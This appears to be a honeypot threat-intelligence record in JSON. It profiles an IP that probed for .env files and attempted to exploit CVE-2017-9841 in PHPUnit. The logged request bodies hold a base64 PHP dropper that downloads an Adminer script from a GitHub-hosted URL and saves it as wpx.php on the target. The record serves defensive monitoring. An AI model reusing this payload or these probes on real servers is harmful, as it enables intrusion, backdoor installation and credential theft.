{"ip":"104.28.238.128","total_events":32,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"5 exploit-path hits","confidence":"high","network_type":"CDN","why":["5 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 11,850 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"11,850 bytes sent","bytes_sent":11850,"session_seconds":1,"persistent":false}},"first_seen":"2026-09-18T14:57:22","last_seen":"2026-09-18T14:57:55","events_24h":0,"events_7d":32,"geo":{"country_code":"MA","country_name":"Morocco","region":"Tanger-Tetouan-Al Hoceima","city":"Tangier","lat":35.7758,"lon":-5.7909,"asn":13335,"org":"Cloudflare, Inc."},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as13335","label":"Cloudflare","category":"cdn","url":"https://www.peeringdb.com/asn/13335"},"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php"}],"malware":[],"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":18},{"port":80,"proto":"tcp","label":"HTTP","count":14}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i1811h1_85036bcba153_b26ce05bbdd6"],"tls_client_hello":"","tls_ja3":["4b510481e2e54d5956f56d2177fb122d"],"http_akin":[]},"fingerprint_peers":{"t13i1811h1_85036bcba153_b26ce05bbdd6":50},"akin_families":{},"user_agents":["Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36"],"timeline":[{"date":"2026-09-18","count":32}],"recent_events":[{"timestamp":"2026-09-18T14:57:55","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"content-length\":\"1092\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36\"}","body":"PD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gYWRtaW5lcigkdXJsLCAkaXNpKSB7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkaXNpLCAidyIpOwogICAgICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9CSU5BUllUUkFOU0ZFUiwgdHJ1ZSk7CiAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CiAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTsKICAgICAgICAgICAgICAgIHJldHVybiBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICAgICAgb2JfZmx1c2goKTsKICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYoYWRtaW5lcigiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3YzbjBtaXEvdjNuMG0vbWFpbi90b29scy9hZG1pbmVyLTQuOC4xLnBocCIsIndweC5waHAiKSkgewogICAgICAgICAgICAgICAgZWNobyAiVW5hbWUiOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZWNobyAiZmFpbGVkIjsKICAgICAgICAgICAgfQogICAgICAgICAgICA/Pg==","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":["http/1.1"],"url_path":"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b2020202020202020202020202020202020496e74656c204d6163204f5320582031305f31305f3129204170706c655765624b69742f3533372e333620284b48544d4c2c20202020202020202020202020202020206c696b65204765636b6f29204368726f6d652f33392e302e323137312e3935205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a20313039320d0a0d0a504439776148414b494341674943416749434167494341675a6e56755933527062323467595752746157356c6369676b64584a734c43416b61584e704b53423743694167494341674943416749434167494341674943416b5a6e41675053426d6233426c6269676b61584e704c434169647949704f776f6749434167494341674943416749434167494341674a474e6f494430675933567962463970626d6c304b436b3743694167494341674943416749434167494341674943426a64584a7358334e6c644739776443676b5932677349454e56556b78505546526656564a4d4c43416b64584a734b54734b494341674943416749434167494341674943416749474e31636d786663325630623342304b43526a6143776751315653544539515646394353553542556c6c55556b464f55305a465569776764484a315a536b3743694167494341674943416749434167494341674943426a64584a7358334e6c644739776443676b5932677349454e56556b785055465266556b565556564a4f56464a42546c4e475256497349485279645755704f776f674943416749434167494341674943416749434167593356796246397a5a5852766348516f4a474e6f4c43424456564a4d5431425558314e545446395752564a4a526c6c51525556534c43426d5957787a5a536b3743694167494341674943416749434167494341674943426a64584a7358334e6c644739776443676b5932677349454e56556b785055465266526b6c4d525377674a475a774b54734b494341674943416749434167494341674943416749484a6c644856796269426a64584a73583256345a574d6f4a474e6f4b54734b494341674943416749434167494341674943416749474e31636d7866593278766332556f4a474e6f4b54734b494341674943416749434167494341674943416749475a6a6247397a5a53676b5a6e41704f776f67494341674943416749434167494341674943416762324a665a6d78316332676f4b54734b494341674943416749434167494341674943416749475a7364584e6f4b436b37436941674943416749434167494341674948304b494341674943416749434167494341676157596f595752746157356c636967696148523063484d364c793979595863755a326c306148566964584e6c636d4e76626e526c626e5175593239744c33597a626a427461584576646a4e754d473076625746706269393062323973637939685a473170626d56794c5451754f4334784c6e426f63434973496e647765433577614841694b536b6765776f6749434167494341674943416749434167494341675a574e6f6279416956573568625755694f776f6749434167494341674943416749434239494756736332556765776f6749434167494341674943416749434167494341675a574e6f627941695a6d46706247566b496a734b4943416749434167494341674943416766516f674943416749434167494341674943412f50673d3d","method":"GET","user_agent":"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36","ja3":"4b510481e2e54d5956f56d2177fb122d","session":"19cfcfe8-27eb-4699-ad1f-10e433e08226","seq":1,"duration_ms":169,"bytes_in":1437,"bytes_out":79},{"timestamp":"2026-09-18T14:57:52","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":["http/1.1"],"url_path":"/<HONEYPOT>/.env","summary":"","payload_hex":"474554202f<HONEYPOT>2f2e656e7620485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b2020202020202020202020202020202020496e74656c204d6163204f5320582031305f31305f3129204170706c655765624b69742f3533372e333620284b48544d4c2c20202020202020202020202020202020206c696b65204765636b6f29204368726f6d652f33392e302e323137312e3935205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36","ja3":"4b510481e2e54d5956f56d2177fb122d","session":"cb055ede-7cfc-4472-80b9-0b11341acae7","seq":1,"duration_ms":291,"bytes_in":290,"bytes_out":79},{"timestamp":"2026-09-18T14:57:50","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":["http/1.1"],"url_path":"/admin/.env","summary":"","payload_hex":"474554202f61646d696e2f2e656e7620485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b2020202020202020202020202020202020496e74656c204d6163204f5320582031305f31305f3129204170706c655765624b69742f3533372e333620284b48544d4c2c20202020202020202020202020202020206c696b65204765636b6f29204368726f6d652f33392e302e323137312e3935205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36","ja3":"4b510481e2e54d5956f56d2177fb122d","session":"e9ccedf8-6f6c-43c6-a2bb-682cb0726ef7","seq":1,"duration_ms":320,"bytes_in":283,"bytes_out":79},{"timestamp":"2026-09-18T14:57:50","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/<HONEYPOT>/.env","summary":"","payload_hex":"474554202f<HONEYPOT>2f2e656e7620485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b2020202020202020202020202020202020496e74656c204d6163204f5320582031305f31305f3129204170706c655765624b69742f3533372e333620284b48544d4c2c20202020202020202020202020202020206c696b65204765636b6f29204368726f6d652f33392e302e323137312e3935205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36","ja3":"","session":"903464a1-3bea-4549-9ad1-3e7459225f94","seq":1,"duration_ms":100,"bytes_in":290,"bytes_out":79},{"timestamp":"2026-09-18T14:57:49","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"tls","host":"","headers":"","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["http/1.1"],"url_path":"","summary":"PD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gYWRtaW5lcigkdXJsLCAkaXNpKSB7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkaXNpLCAidyIpOwogICAgICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9CSU5BUllUUkFOU0ZFUiwgdHJ1ZSk7CiAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CiAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTsKICAgICAgICAgICAgICAgIHJldHVybiBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICAgICAgb2JfZmx1c2goKTsKICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYoYWRtaW5lcigiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3YzbjBtaXEvdjNuMG0vbWFpbi90b29scy9hZG1pbmVyLTQuOC4xLnBocCIsIndweC5waHAiKSkgewogICAgICAgICAgICAgICAgZWNobyAiVW5hbWUiOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZWNobyAiZmFpbGVkIjsKICAgICAgICAgICAgfQogICAgICAgICAgICA/Pg==","payload_hex":"504439776148414b494341674943416749434167494341675a6e56755933527062323467595752746157356c6369676b64584a734c43416b61584e704b53423743694167494341674943416749434167494341674943416b5a6e41675053426d6233426c6269676b61584e704c434169647949704f776f6749434167494341674943416749434167494341674a474e6f494430675933567962463970626d6c304b436b3743694167494341674943416749434167494341674943426a64584a7358334e6c644739776443676b5932677349454e56556b78505546526656564a4d4c43416b64584a734b54734b494341674943416749434167494341674943416749474e31636d786663325630623342304b43526a6143776751315653544539515646394353553542556c6c55556b464f55305a465569776764484a315a536b3743694167494341674943416749434167494341674943426a64584a7358334e6c644739776443676b5932677349454e56556b785055465266556b565556564a4f56464a42546c4e475256497349485279645755704f776f674943416749434167494341674943416749434167593356796246397a5a5852766348516f4a474e6f4c43424456564a4d5431425558314e545446395752564a4a526c6c51525556534c43426d5957787a5a536b3743694167494341674943416749434167494341674943426a64584a7358334e6c644739776443676b5932677349454e56556b785055465266526b6c4d525377674a475a774b54734b494341674943416749434167494341674943416749484a6c644856796269426a64584a73583256345a574d6f4a474e6f4b54734b494341674943416749434167494341674943416749474e31636d7866593278766332556f4a474e6f4b54734b494341674943416749434167494341674943416749475a6a6247397a5a53676b5a6e41704f776f67494341674943416749434167494341674943416762324a665a6d78316332676f4b54734b494341674943416749434167494341674943416749475a7364584e6f4b436b37436941674943416749434167494341674948304b494341674943416749434167494341676157596f595752746157356c636967696148523063484d364c793979595863755a326c306148566964584e6c636d4e76626e526c626e5175593239744c33597a626a427461584576646a4e754d473076625746706269393062323973637939685a473170626d56794c5451754f4334784c6e426f63434973496e647765433577614841694b536b6765776f6749434167494341674943416749434167494341675a574e6f6279416956573568625755694f776f6749434167494341674943416749434239494756736332556765776f6749434167494341674943416749434167494341675a574e6f627941695a6d46706247566b496a734b4943416749434167494341674943416766516f674943416749434167494341674943412f50673d3d","method":"","user_agent":"","ja3":"4b510481e2e54d5956f56d2177fb122d","session":"4cc2a39c-b037-4042-a3dc-134b3e5aa919","seq":2,"duration_ms":885,"bytes_in":1437,"bytes_out":93,"enriched":{"digest":"77dc29c7ff74cff5","strings":["PD9waHAKICAgICAgICAgICAgZnVuY3Rpb24gYWRtaW5lcigkdXJsLCAkaXNpKSB7CiAgICAgICAgICAg…"]}},{"timestamp":"2026-09-18T14:57:48","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/admin/.env","summary":"","payload_hex":"474554202f61646d696e2f2e656e7620485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b2020202020202020202020202020202020496e74656c204d6163204f5320582031305f31305f3129204170706c655765624b69742f3533372e333620284b48544d4c2c20202020202020202020202020202020206c696b65204765636b6f29204368726f6d652f33392e302e323137312e3935205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36","ja3":"","session":"16a7de74-4e58-4f4e-835b-c39ecc0fc643","seq":1,"duration_ms":100,"bytes_in":283,"bytes_out":79},{"timestamp":"2026-09-18T14:57:48","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"content-length\":\"1092\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["http/1.1"],"url_path":"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b2020202020202020202020202020202020496e74656c204d6163204f5320582031305f31305f3129204170706c655765624b69742f3533372e333620284b48544d4c2c20202020202020202020202020202020206c696b65204765636b6f29204368726f6d652f33392e302e323137312e3935205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a20313039320d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36","ja3":"4b510481e2e54d5956f56d2177fb122d","session":"4cc2a39c-b037-4042-a3dc-134b3e5aa919","seq":1,"duration_ms":740,"bytes_in":345,"bytes_out":79},{"timestamp":"2026-09-18T14:57:46","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36\"}","body":"","sni":"","tls_cipher":"TLS_CHACHA20_POLY1305_SHA256","tls_version":"TLSv1.3","alpn":["http/1.1"],"url_path":"/<HONEYPOT>/.env","summary":"","payload_hex":"474554202f<HONEYPOT>2f2e656e7620485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b2020202020202020202020202020202020496e74656c204d6163204f5320582031305f31305f3129204170706c655765624b69742f3533372e333620284b48544d4c2c20202020202020202020202020202020206c696b65204765636b6f29204368726f6d652f33392e302e323137312e3935205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36","ja3":"4b510481e2e54d5956f56d2177fb122d","session":"37f96c83-ce10-475c-9fb9-e78c46cfca85","seq":1,"duration_ms":340,"bytes_in":290,"bytes_out":79},{"timestamp":"2026-09-18T14:57:46","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["http/1.1"],"url_path":"/<HONEYPOT>/.env","summary":"","payload_hex":"474554202f<HONEYPOT>2f2e656e7620485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b2020202020202020202020202020202020496e74656c204d6163204f5320582031305f31305f3129204170706c655765624b69742f3533372e333620284b48544d4c2c20202020202020202020202020202020206c696b65204765636b6f29204368726f6d652f33392e302e323137312e3935205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36","ja3":"4b510481e2e54d5956f56d2177fb122d","session":"3c0b7fcd-ae52-4b0f-9cfb-441c425ab2de","seq":1,"duration_ms":101,"bytes_in":290,"bytes_out":79},{"timestamp":"2026-09-18T14:57:45","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/<HONEYPOT>/.env","summary":"","payload_hex":"474554202f<HONEYPOT>2f2e656e7620485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b2020202020202020202020202020202020496e74656c204d6163204f5320582031305f31305f3129204170706c655765624b69742f3533372e333620284b48544d4c2c20202020202020202020202020202020206c696b65204765636b6f29204368726f6d652f33392e302e323137312e3935205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36","ja3":"","session":"df6a1724-711a-4f9a-bd63-bd507a841752","seq":1,"duration_ms":100,"bytes_in":290,"bytes_out":79}],"http_methods":[{"method":"GET","count":26},{"method":"POST","count":4}],"distinct_ports_total":2,"top_paths":[{"path":"/<HONEYPOT>/.env","count":12,"ports":2},{"path":"/","count":4,"ports":2},{"path":"/.env","count":4,"ports":2},{"path":"/admin/.env","count":4,"ports":2},{"path":"/vendor/.env","count":4,"ports":2},{"path":"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":2,"ports":1}],"distinct_paths_total":6,"top_snis":[],"top_hosts":[],"top_alpns":[{"value":"http/1.1","count":18}],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Connection","Content-Length","Host","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Accept-Encoding","value":"gzip, deflate","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"1092","notable":false},{"name":"Host","value":"<HONEYPOT>","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Macintosh;                 Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML,                 like Gecko) Chrome/39.0.2171.95 Safari/537.36","notable":false}],"distinct_sets":2,"events_with_headers":9},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"]}],"data_as_of":"2026-09-24T13:38:58.308856+00:00"}